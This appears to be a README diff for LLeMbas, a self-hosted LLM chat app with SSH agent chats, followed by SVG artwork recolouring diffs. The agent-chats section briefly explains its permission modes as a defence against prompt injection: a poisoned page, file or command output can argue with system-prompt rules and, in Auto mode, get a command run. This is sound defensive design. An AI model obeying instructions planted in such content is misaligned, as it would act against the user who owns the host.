+**Admin → Web search.** DuckDuckGo needs nothing beyond the `search` extra
+above. SearXNG needs its JSON format enabled — add `- json` under
+`search.formats` in its `settings.yml`, or every search fails. Firecrawl needs
+an API key.
+
+Search is offered to the model as a *tool*, so it decides when a question needs
+looking up. It is only offered to models marked **tools** under
+**Admin → Models**: an endpoint without tool support rejects the whole request
+rather than ignoring the extra field, so the flag is a real switch and not a
+hint.
+
+### Audio
+
+**Admin → Audio.** Two endpoints, because they are usually two servers:
+
+| | Speaks | Example |
+|---|---|---|
+| Dictation | `POST /v1/audio/transcriptions` | whisper.cpp's `whisper-server`, Speaches, faster-whisper-server |
+| Read aloud | `POST /v1/audio/speech` | Kokoro-FastAPI, OpenAI |
+
+If the speech endpoint also answers `GET /v1/audio/voices` the voice list is
+read from it, and each person can pick their own under **Settings → Audio**.
+Recorded audio is passed straight through and never written to disk.
+
+> The microphone needs HTTPS or localhost. Browsers do not grant it over plain
+> HTTP, so a LAN install without TLS will not offer dictation.
+
+### Agent chats
+
+**Admin → Agents** to turn the feature on, then **Connections** in the sidebar
+to add a machine. Three things have to line up before an agent chat can start:
+the feature enabled, the *Run commands* permission, and a model flagged **Agent
+execution**. All three are off by default, on purpose.
+
+Nothing an agent does runs on the machine LLeMbas is on. Commands go to a host
+you name over SSH, which means **the containment is that host** — a container
+built for the job is a very different thing from a key to a server you care
+about, and LLeMbas cannot tell them apart. A throwaway container is the intended
+shape:
+
+```bash
+docker run -d --name agent-box -p 127.0.0.1:2222:22 <an sshd image>
+```
+
+Adding a connection does not connect to it. **Check** shows you the host's
+fingerprint with nothing sent — not your username, not your key — and only
+accepting pins it. If that host later answers with a different key, it is
+refused rather than quietly trusted.
+
+Then start a chat with the **Agent** toggle, pick the connection, browse to a
+directory, and choose a mode — all of it under the message box, before you send
+anything. The connection and the directory are fixed once the chat exists; the
+mode changes at any time and stays where you chose it:
+
+| | Reads | Writes files | Runs commands |
+|---|---|---|---|
+| **Manual** | asks | asks | asks |
+| **Edit** | free | free | asks |
+| **Auto** | free | free | free |
+| **Plan** | free | asks | asks |
+
+The mode is enforced in the reply loop, not written into the prompt: everything
+a model reads — a web page, a README, the last command's output — is untrusted,
+and a rule that lives only in a system message is one a poisoned file can argue
+with. In **Auto**, nothing stands between that and a command running.
+
+*Plan* finishes by proposing steps, with a button that carries them out — which
+switches to *Edit*, never *Auto*, because the plan was written under a mode
+where every command still asked.
+
+#### What the model knows about the directory
+
+An agent chat starts by listing the project directory, so a reply does not spend
+its first rounds finding out what is there. It is one read-only command —
+`git ls-files` in a repository, so `.gitignore` is honoured for free, otherwise
+`find` with the usual noise pruned — and it is cached and shared by every chat
+pointed at the same place.
+
+What reaches the model is budgeted rather than dumped: a directory that will not
+fit is shown as `node_modules/ (4,102 files)` and the model is told to open it
+itself if it needs to. **Admin → Agents** sets the budget, and `0` keeps the
+listing for the `@` picker while putting none of it in the prompt.
+
+Listing a directory and browsing one are things *you* asked for, not things a
+model chose, so neither goes through the modes above. Worth knowing if you read
+**Manual** as "nothing happens without me": it means nothing the *model* does.
+
+#### The terminal
+
+An agent chat has a **Terminal** button in its header, which opens a real shell
+on that chat's connection, in its directory, beside the conversation. It needs
+the *Open a terminal* permission, which is off by default.
+
+The modes above do not apply to it. They exist because a model reads pages,
+files and command output it did not write; you hold the credential and could
+open the same shell with an ssh client, so nothing you type is queued for your
+own approval. The model cannot see the panel either — three buttons in its
+header decide what it sees: **Copy** takes the last command and its output to
+the clipboard, **Send** puts the same into the message box, and **Auto**
+collects every command you run into your next message. Nothing is ever sent on
+its own; the box is where you read it first.
+
+Knowing what "the last command" means takes a little help from the shell.
+LLeMbas gives bash and zsh the same invisible markers VS Code and WezTerm use,
+written into a temporary file the shell deletes itself, so it can tell one
+command's output from the next and record the exit status and the directory.
+Your own dotfiles are loaded first and nothing of yours is skipped. Any other
+shell starts exactly as it would have; the two buttons then copy the last of the
+screen as it appeared, say so, and Auto is switched off rather than guessing.
+
+Drag the panel's left edge to make it wider — a terminal narrower than eighty
+columns re-wraps everything a program prints — and the width follows you to
+another browser.
+
+The shell is not tied to the panel. Close it and a build carries on; come back,
+or reload, and you reattach with the scrollback. Two tabs share one shell, and
+the smaller window decides the size. It ends when nobody has watched it and
+nothing has been typed for a while, when the chat is deleted, when the
+connection is disabled or deleted, or when LLeMbas restarts — a deploy cuts off
+whatever was running, and the panel says so rather than quietly opening a fresh
+shell that has lost your working directory.
+
+> Nothing typed here is in the transcript and nothing is logged but the opening
+> and the closing. If you are running this over plain http, note that the
+> session cookie is not marked `secure` so a LAN install works at all — with a
+> terminal switched on, that is worth a certificate.
+
+### The library
+
+**Sidebar → Library**, and **Settings → Memory**. Nothing is on by default for a
+model: give it the tools it should have under **Admin → Models**, where
+`tools` decides whether a tool list may be sent at all and the built-in tools are
+chosen one by one.
+
+Knowledge is organised into **bases** — one per subject, project or client. A
+chat with no base attached searches everything you have; tick some in the chat's
+settings panel and it searches only those. Sharing happens at the base: share it
+and everything in it comes too, read-only.
+
+Search is SQLite's FTS5 — keyword matching with BM25 ranking, no embedding
+service to run and nothing that stops working offline. It will not match a
+paraphrase, so a line of description on a document is worth writing.
+
+> Saving a **link** makes your server fetch a URL. Addresses on your own machine
+> and network are refused unless an administrator opts in under
+> **Admin → Web search**, because the address can come from a model and the
+> server can reach things your browser cannot.
+
+### Installing as an app
+
+Open it in a browser and use *Install* (Chromium) or *Share → Add to Home
+Screen* (iOS). This also needs HTTPS or localhost — service workers are
+unavailable over plain HTTP, and without one there is nothing to install.
+
+There is no offline mode beyond a page saying so. Everything is rendered by your
+server, so a cached conversation would be a snapshot that silently went stale.
+
+## Configuration
+
+All variables are prefixed `LEMBAS_` and can live in `.env`. See
+[`.env.example`](.env.example) for the annotated list.
+
+| Variable | Default | Purpose |
+|---|---|---|
+| `LEMBAS_SECRET_KEY` | *generated* | Signs sessions and encrypts stored API keys. **Set this.** A generated key changes every restart, signing everyone out and making stored API keys unreadable. |
+| `LEMBAS_DATA_DIR` | `./data` | SQLite database and uploads. |
+| `LEMBAS_HOST` / `LEMBAS_PORT` | `127.0.0.1` / `8080` | Bind address. |
+| `LEMBAS_ALLOW_SIGNUP` | `true` | Whether new users may register themselves — the *initial* value only. Once set under **Admin → General** the stored setting wins. The first account is always an admin regardless. |
+| `LEMBAS_DEFAULT_THEME` | `moria` | `moria` (dark) or `shire` (light). |
+| `LEMBAS_SESSION_TTL` | `2592000` | Session lifetime in seconds. |
+| `LEMBAS_REQUEST_TIMEOUT` | `300` | Seconds to wait on an upstream model. |
+
+### Commands
+
+```bash
+lembas serve          # run the server
+lembas info           # where data lives, what is configured
+lembas secret-key     # generate a value for LEMBAS_SECRET_KEY
+lembas create-admin   # create or promote an administrator
+```
+
+## Running it somewhere
+
+Three ways, all in this repository.
+
+### Docker
+
+```bash
+export LEMBAS_SECRET_KEY="$(lembas secret-key)"   # required; there is no default
+docker compose up -d
+```
+
+One stage, no build step, non-root. The image bakes **no secret key, no data and
+no `.git`** — a key inside an image is one every copy shares, and rotating it
+makes stored API keys unreadable. Data lives in a named volume on `/data`.
+
+`docker-compose.yml` publishes on `127.0.0.1` and expects a TLS proxy in front:
+the service worker and the microphone both require HTTPS or localhost, so plain
+http on a LAN address is a constraint rather than a preference. One replica, and
+that is deliberate — the generation registry, the terminal sessions and the
+schedule ticker are all in-process, so two would mean every schedule firing
+twice.
+
+**Updating a container is pulling a new image**, and `/admin/updates` says so
+rather than offering a button:
+
+```bash
+docker compose pull && docker compose up -d
+```
+
+There is deliberately no in-container update helper. The one the other install
+paths use restarts a systemd service; the equivalent here would be a process
+inside the container reaching the Docker socket to replace the container it is
+running in — which is root on the host, granted to anybody who can administer
+the web interface. The image is the unit of deployment, and that is the whole
+point of it.
+
+### A machine of its own
+
+`deploy/` holds a systemd unit, an nginx vhost, and install/update scripts. Every
+template is parameterised and substituted at install time, so nothing
+host-specific is committed here. See [deploy/README.md](deploy/README.md).
+
+`deploy/lxc-install.sh` creates an unprivileged Proxmox container and runs that
+same installer inside it — a wrapper around what already works rather than a
+second install path:
+
+```bash
+CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
+```
+
+The container gets the **update helper by default**, unlike a bare
+`install.sh`. The installer defaults it off because it cannot know what it is
+installing onto; a container this script made thirty seconds ago to run one
+thing, on a hypervisor you own, is not that host — and an appliance you cannot
+update without a shell is one nobody updates. `INSTALL_UPDATE_HELPER=0` opts
+out.
+
+### Updating
+
+**Admin → Updates** shows the version running, what is available on the channel
+this host follows, and the commits between. `stable` is the newest `vX.Y.Z` tag;
+`edge` is the branch tip, which is whatever was pushed most recently.
+
+The button that applies an update is **opt-in**, and that is the design: the
+service runs unprivileged and cannot restart itself, so the request is a file
+that a systemd `.path` unit picks up and runs as root. It carries no ref and no
+channel — pressing it is always "deploy the channel this host was configured
+with", never "deploy something else". Install it with
+`INSTALL_UPDATE_HELPER=1`; without it the page says so and prints the command to
+run by hand.
+
+Release notes come out of the annotated tag itself, so no forge API is involved
+anywhere.
+
+Root runs a **copy** of `deploy/update.sh` that the installer places outside the
+checkout and root owns. It must not run the one in the checkout: that file
+belongs to the unprivileged service account, so anything able to write as that
+account could rewrite it and become root — and so could whoever controls the
+branch, since a pull happens as that account and root would run whatever it
+fetched. The cost is that changing `update.sh` needs the installer re-run, and
+it tells you when your copy has fallen behind.
+
+**If you installed the helper before this changed, re-run the installer.** The
+old wiring points systemd at the checkout, and the update script now says so
+loudly when it notices it is running from there.
+
+## How it fits together
+
+```
+Browser  ──form POST──▶  FastAPI  ──▶  SQLite
+   ▲                        │
+   │                        └──httpx──▶  any OpenAI-compatible endpoint
+   └──── server-sent events ◀───────────────┘   (streamed reply)
+```
+
+Sending a message stores the turn and returns two HTML fragments: the user's
+bubble and an empty assistant bubble carrying an `sse-connect`. That opens a
+server-sent event stream which appends tokens as they arrive, then replaces the
+whole bubble with the finished, Markdown-rendered version. Rendering and
+highlighting happen in Python, so the streamed and final views cannot disagree.
+
+```
+src/lembas/
+  api/         routes: auth, chats, folders, admin, pages
+  db/models/   SQLAlchemy schema
+  security/    password hashing, sessions
+  services/    llm client, chat orchestration, markdown, crypto, sse
+  web/         Jinja templates and static assets
+assets/        SVG artwork masters
+scripts/       artwork generator, vendored-JS fetcher
+deploy/        systemd unit and nginx vhost for a real install
+```
+
+## Development
+
+```bash
+pytest                              # test suite
+ruff check .                        # lint
+python scripts/build_artwork.py     # regenerate the SVG artwork
+python scripts/fetch_vendor.py      # verify vendored JS against the lockfile
+```
+
+There is no Alembic. The schema is SQLite-only and synchronised at startup:
+missing tables and missing columns are added automatically, so adding a field to
+a model needs nothing but a restart. Renames, drops and retypes are still manual
+— see `CLAUDE.md`.
+
+## Artwork
+
+The logo, favicon and banner are original vector work, generated by
+[`scripts/build_artwork.py`](scripts/build_artwork.py) so the mallorn leaf stays
+identical across every size it appears at. The wordmark is
+[Source Serif 4](https://github.com/adobe-fonts/source-serif) (SIL OFL 1.1)
+converted to outlines — a README banner cannot load a webfont, and `<text>`
+would render in whatever serif the reader happens to have.
+
+## Licence
+
+[GPL-3.0](LICENSE).
+
+## A note on the theme
+
+This is an independent hobby project, themed as an affectionate nod to
+J.R.R. Tolkien's world. It is **not affiliated with, endorsed by, or connected
+to** the Tolkien Estate, Middle-earth Enterprises, or any related rights
+holder. All artwork here is original.

assets/banner.svg

@@ -10,8 +10,8 @@
       <stop offset="1" stop-color="#1A2530"/>
     </linearGradient>
     <radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
-      <stop offset="0" stop-color="#C9A227" stop-opacity="0.22"/>
+      <stop offset="0" stop-color="#9BCC5A" stop-opacity="0.22"/>
-      <stop offset="1" stop-color="#C9A227" stop-opacity="0"/>
+      <stop offset="1" stop-color="#9BCC5A" stop-opacity="0"/>
     </radialGradient>
     <!-- Cool light sitting just above the ridge line, so the far mountains
          separate from the near ones instead of merging into one dark mass. -->
@@ -21,17 +21,17 @@
     </radialGradient>
 
     <linearGradient id="b-wafer" x1="0" y1="0" x2="0.3" y2="1">
-      <stop offset="0" stop-color="#EACB74"/>
+      <stop offset="0" stop-color="#7FB758"/>
-      <stop offset="0.5" stop-color="#C9A227"/>
+      <stop offset="0.5" stop-color="#4C8C33"/>
-      <stop offset="1" stop-color="#916F13"/>
+      <stop offset="1" stop-color="#2A5522"/>
     </linearGradient>
     <linearGradient id="b-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
-      <stop offset="0" stop-color="#93A5B6"/>
+      <stop offset="0" stop-color="#9DB49A"/>
-      <stop offset="0.4" stop-color="#F1F6FA"/>
+      <stop offset="0.4" stop-color="#F3F8EE"/>
-      <stop offset="1" stop-color="#B8C7D5"/>
+      <stop offset="1" stop-color="#C6D8BE"/>
     </linearGradient>
     <clipPath id="b-clip">
-      <rect x="6" y="6" width="52" height="52" rx="13"/>
+      <rect x="5" y="5" width="54" height="54" rx="14"/>
     </clipPath>
   </defs>
 
@@ -170,55 +170,55 @@
   </g>
   <rect y="180" width="1280" height="240" fill="url(#b-horizon)"/>
   <rect width="1280" height="420" fill="url(#b-glow)"/>
-    <g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
-    <g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
-    <g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
-    <g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
-    <g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
-    <g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
+    <g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
 
   <!-- Ridge lines, furthest first. Each is lighter than the one in front of it,
        which is what reads as distance. -->
   <polygon points="0.0,366.0 77.4,260.4 99.7,287.8 209.3,307.1 222.5,340.5 301.6,290.7 339.9,314.6 467.1,267.1 496.3,282.9 606.7,228.9 632.9,259.8 746.4,307.3 778.6,334.3 861.2,310.5 896.2,334.5 1013.6,227.8 1044.7,263.3 1135.1,235.4 1159.3,271.3 1280.0,304.0 1280.0,366.0 1280,999 0,999" fill="#1C2836"/>
   <polygon points="0.0,392.0 76.5,282.7 92.5,305.1 157.2,334.8 195.6,347.7 306.6,319.4 331.0,337.8 404.6,292.3 419.7,305.8 478.9,333.4 502.2,359.5 591.3,344.5 610.7,372.4 673.6,307.7 696.0,329.2 781.8,302.5 807.3,323.8 939.9,310.5 956.3,320.6 1092.6,317.2 1110.4,344.2 1216.2,299.7 1251.5,314.1 1280.0,288.9 1280.0,392.0 1280,999 0,999" fill="#111A25"/>
   <polygon points="0.0,416.0 71.3,356.9 100.4,368.9 176.0,352.0 209.4,364.3 309.1,378.7 321.9,389.3 428.2,386.8 461.4,395.6 538.3,388.1 576.7,403.3 707.1,360.5 720.7,370.5 819.7,384.5 856.9,395.1 927.4,350.8 943.4,368.4 1038.7,363.5 1060.3,375.6 1133.4,388.3 1168.4,397.2 1280.0,380.1 1280.0,416.0 1280,999 0,999" fill="#080D13"/>
-  <rect y="415" width="1280" height="5" fill="#C9A227" opacity="0.55"/>
+  <rect y="415" width="1280" height="5" fill="#9BCC5A" opacity="0.55"/>
 
   <!-- Lockup. Colours are fixed rather than themed: the banner carries its own
        night sky, so it must not follow the reader's colour scheme. -->
   <g transform="translate(304.75 118.00) scale(2.1250)">
-  <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#b-wafer)"/>
+  <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#b-wafer)"/>
   <g clip-path="url(#b-clip)" fill="none" stroke-linecap="round">
-    <g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
+    <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
-      <path d="M32 6 V58"/>
+      <path d="M32 5 V59"/>
-      <path d="M6 32 H58"/>
+      <path d="M5 32 H59"/>
     </g>
-    <g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
+    <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
-      <path d="M33.2 6 V58"/>
+      <path d="M33.1 5 V59"/>
-      <path d="M6 33.2 H58"/>
+      <path d="M5 33.1 H59"/>
     </g>
   </g>
-  <rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
+  <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
-        fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
+        fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
   <g>
-    <path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
+    <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
           stroke-linecap="round" fill="none"/>
-    <path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#b-leaf)"/>
+    <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#b-leaf)"/>
-    <path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
+    <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
           stroke-width="1.5" stroke-linecap="round"/>
-    <g fill="none" stroke="#61758A" stroke-opacity="0.32"
+    <g fill="none" stroke="#57734F" stroke-opacity="0.32"
        stroke-width="1" stroke-linecap="round">
-      <path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
+      <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
-      <path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
+      <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
-      <path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
+      <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
-      <path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
+      <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
-      <path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
+      <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
-      <path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
+      <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
     </g>
   </g>
   </g>
   <g transform="translate(470.08 232.00)">
-    <style>.base { fill: #EDE6D6; } .accent { fill: #E0B252; }</style>
+    <style>.base { fill: #EDE6D6; } .accent { fill: #9BCC5A; }</style>
     <path class="accent" data-char="L" d="M4.67 -88.57 14.83 -87.33C15.24 -76.48 15.24 -61.52 15.24 -49.02V-42.98C15.24 -30.21 15.24 -14.83 14.83 -3.84L4.67 -2.61V0.00H65.91L67.56 -26.78H64.95L56.30 -3.43H29.93C29.52 -14.28 29.39 -29.93 29.39 -42.98V-49.02C29.39 -61.52 29.52 -76.48 29.93 -87.33L39.96 -88.57V-91.18H4.67Z"/>
     <path class="accent" data-char="L" d="M75.52 -88.57 85.68 -87.33C86.10 -76.48 86.10 -61.52 86.10 -49.02V-42.98C86.10 -30.21 86.10 -14.83 85.68 -3.84L75.52 -2.61V0.00H136.76L138.41 -26.78H135.80L127.15 -3.43H100.79C100.38 -14.28 100.24 -29.93 100.24 -42.98V-49.02C100.24 -61.52 100.38 -76.48 100.79 -87.33L110.81 -88.57V-91.18H75.52Z"/>
     <path class="base" data-char="e" d="M175.76 -60.97C182.76 -60.97 187.43 -55.47 187.43 -45.18C187.43 -39.13 185.37 -37.07 179.06 -37.07H161.07C162.03 -54.65 168.76 -60.97 175.76 -60.97ZM175.90 1.79C186.20 1.79 194.85 -2.88 199.79 -13.46L197.87 -14.83C193.75 -9.75 188.39 -6.45 180.98 -6.45C169.44 -6.45 160.93 -16.20 160.93 -32.82V-33.92H198.69C199.24 -35.84 199.52 -37.49 199.52 -40.51C199.52 -54.79 189.63 -64.26 175.62 -64.26C160.38 -64.26 146.93 -51.49 146.93 -30.07C146.93 -9.89 159.70 1.79 175.90 1.79Z"/>

assets/favicon.svg

@@ -3,25 +3,25 @@
   <title>LLeMbas</title>
   <defs>
     <linearGradient id="f-wafer" x1="0" y1="0" x2="0.3" y2="1">
-      <stop offset="0" stop-color="#EACB74"/>
+      <stop offset="0" stop-color="#7FB758"/>
-      <stop offset="0.5" stop-color="#C9A227"/>
+      <stop offset="0.5" stop-color="#4C8C33"/>
-      <stop offset="1" stop-color="#916F13"/>
+      <stop offset="1" stop-color="#2A5522"/>
     </linearGradient>
     <linearGradient id="f-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
-      <stop offset="0" stop-color="#93A5B6"/>
+      <stop offset="0" stop-color="#9DB49A"/>
-      <stop offset="0.4" stop-color="#F1F6FA"/>
+      <stop offset="0.4" stop-color="#F3F8EE"/>
-      <stop offset="1" stop-color="#B8C7D5"/>
+      <stop offset="1" stop-color="#C6D8BE"/>
     </linearGradient>
     <clipPath id="f-clip">
-      <rect x="6" y="6" width="52" height="52" rx="13"/>
+      <rect x="5" y="5" width="54" height="54" rx="14"/>
     </clipPath>
   </defs>
-  <rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/>
+  <rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
-  <g transform="translate(32 32) scale(1.16) translate(-32 -32)">
+  <g transform="translate(32 32) scale(1.1) translate(-32 -32)">
-    <path d="M20.6 44.6 L15.6 50.1" stroke="#8A9AA8" stroke-width="3.4"
+    <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3.4"
           stroke-linecap="round" fill="none"/>
-    <path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#f-leaf)"/>
+    <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#f-leaf)"/>
-    <path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.45"
+    <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.45"
           stroke-width="1.8" stroke-linecap="round"/>
   </g>
 </svg>

assets/logo-lockup.svg

@@ -3,55 +3,55 @@
   <title>LLeMbas</title>
   <defs>
     <linearGradient id="l-wafer" x1="0" y1="0" x2="0.3" y2="1">
-      <stop offset="0" stop-color="#EACB74"/>
+      <stop offset="0" stop-color="#7FB758"/>
-      <stop offset="0.5" stop-color="#C9A227"/>
+      <stop offset="0.5" stop-color="#4C8C33"/>
-      <stop offset="1" stop-color="#916F13"/>
+      <stop offset="1" stop-color="#2A5522"/>
     </linearGradient>
     <linearGradient id="l-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
-      <stop offset="0" stop-color="#93A5B6"/>
+      <stop offset="0" stop-color="#9DB49A"/>
-      <stop offset="0.4" stop-color="#F1F6FA"/>
+      <stop offset="0.4" stop-color="#F3F8EE"/>
-      <stop offset="1" stop-color="#B8C7D5"/>
+      <stop offset="1" stop-color="#C6D8BE"/>
     </linearGradient>
     <clipPath id="l-clip">
-      <rect x="6" y="6" width="52" height="52" rx="13"/>
+      <rect x="5" y="5" width="54" height="54" rx="14"/>
     </clipPath>
   </defs>
   <style>
     .base { fill: var(--lembas-ink, #1B1F23); }
-    .accent { fill: var(--lembas-gold, #C9A227); }
+    .accent { fill: var(--lembas-leaf, #4C7A22); }
     @media (prefers-color-scheme: dark) {
       .base { fill: var(--lembas-ink, #EDE6D6); }
-      .accent { fill: var(--lembas-gold, #E0B252); }
+      .accent { fill: var(--lembas-leaf, #9BCC5A); }
     }
   </style>
   <g transform="translate(4.0 4.0)">
-  <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#l-wafer)"/>
+  <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#l-wafer)"/>
   <g clip-path="url(#l-clip)" fill="none" stroke-linecap="round">
-    <g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
+    <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
-      <path d="M32 6 V58"/>
+      <path d="M32 5 V59"/>
-      <path d="M6 32 H58"/>
+      <path d="M5 32 H59"/>
     </g>
-    <g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
+    <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
-      <path d="M33.2 6 V58"/>
+      <path d="M33.1 5 V59"/>
-      <path d="M6 33.2 H58"/>
+      <path d="M5 33.1 H59"/>
     </g>
   </g>
-  <rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
+  <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
-        fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
+        fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
   <g>
-    <path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
+    <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
           stroke-linecap="round" fill="none"/>
-    <path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#l-leaf)"/>
+    <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#l-leaf)"/>
-    <path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
+    <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
           stroke-width="1.5" stroke-linecap="round"/>
-    <g fill="none" stroke="#61758A" stroke-opacity="0.32"
+    <g fill="none" stroke="#57734F" stroke-opacity="0.32"
        stroke-width="1" stroke-linecap="round">
-      <path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
+      <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
-      <path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
+      <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
-      <path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
+      <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
-      <path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
+      <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
-      <path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
+      <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
